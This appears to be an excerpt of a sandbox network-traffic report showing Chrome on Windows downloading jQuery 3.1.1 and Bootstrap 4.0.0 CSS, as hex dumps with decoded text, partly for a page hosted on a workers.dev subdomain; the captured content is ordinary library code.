2024-04-17 23:28:24 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	151.101.130.137	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:27 UTC	586	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:27 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 17 Apr 2024 23:28:27 GMT Age: 3164573 X-Served-By: cache-lga21947-LGA, cache-pdk-kfty2130091-PDK X-Cache: HIT, HIT X-Cache-Hits: 4941, 6 X-Timer: S1713396508.918669,VS0,VE0 Vary: Accept-Encoding
2024-04-17 23:28:27 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-17 23:28:28 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-17 23:28:28 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-17 23:28:28 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-04-17 23:28:28 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-17 23:28:28 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	104.18.10.207	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 23:28:29 UTC	588	OUT	GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://groun-93ed.ehajdranrsuw.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-17 23:28:30 UTC	953	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 23:28:29 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"450fc463b8b1a349df717056fbb3e078" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 03/18/2024 12:15:40 CDN-EdgeStorageId: 718 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 601850eea8339c66087448de72ec3e22 CDN-Cache: HIT CF-Cache-Status: HIT Age: 30158 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8760311b398b44f5-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 23:28:30 UTC	416	IN	Data Raw: 37 62 66 37 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 Data Ascii: 7bf7/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors * Copyright 2011-2018 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */:root{--blue:#007bff;--indigo:#6610
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 61 79 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 70 72 69 6d 61 72 79 3a 23 30 30 37 62 66 66 3b 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 23 36 63 37 35 37 64 3b 2d 2d 73 75 63 63 65 73 73 3a 23 32 38 61 37 34 35 3b 2d 2d 69 6e 66 6f 3a 23 31 37 61 32 62 38 3b 2d 2d 77 61 72 6e 69 6e 67 3a 23 66 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 73 6d 3a 35 37 36 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6d 64 3a 37 36 38 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 Data Ascii: ay-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:12
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 20 64 6f 74 74 65 64 3b 63 75 72 73 6f 72 3a 68 65 6c 70 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 61 64 64 72 65 73 73 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f Data Ascii: e;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{fo
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d 77 65 62 6b 69 74 2d 66 6f 63 75 73 2d 72 69 6e 67 2d 63 6f 6c 6f 72 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 74 61 72 65 61 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 2c 68 74 Data Ascii: dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,ht
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d Data Ascii: ,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 37 64 7d 63 6f 64 65 2c 6b 62 64 2c 70 72 65 2c 73 61 6d 70 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c Data Ascii: 7d}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-col
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 63 6f 6c 2d 6c 67 2d 39 2c 2e 63 6f 6c 2d 6c 67 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 6d 64 2c 2e 63 6f 6c 2d 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d Data Ascii: col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 Data Ascii: 667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: 2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-le
2024-04-17 23:28:30 UTC	1369	IN	Data Raw: 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d Data Ascii: :0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49729	18.165.116.61	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
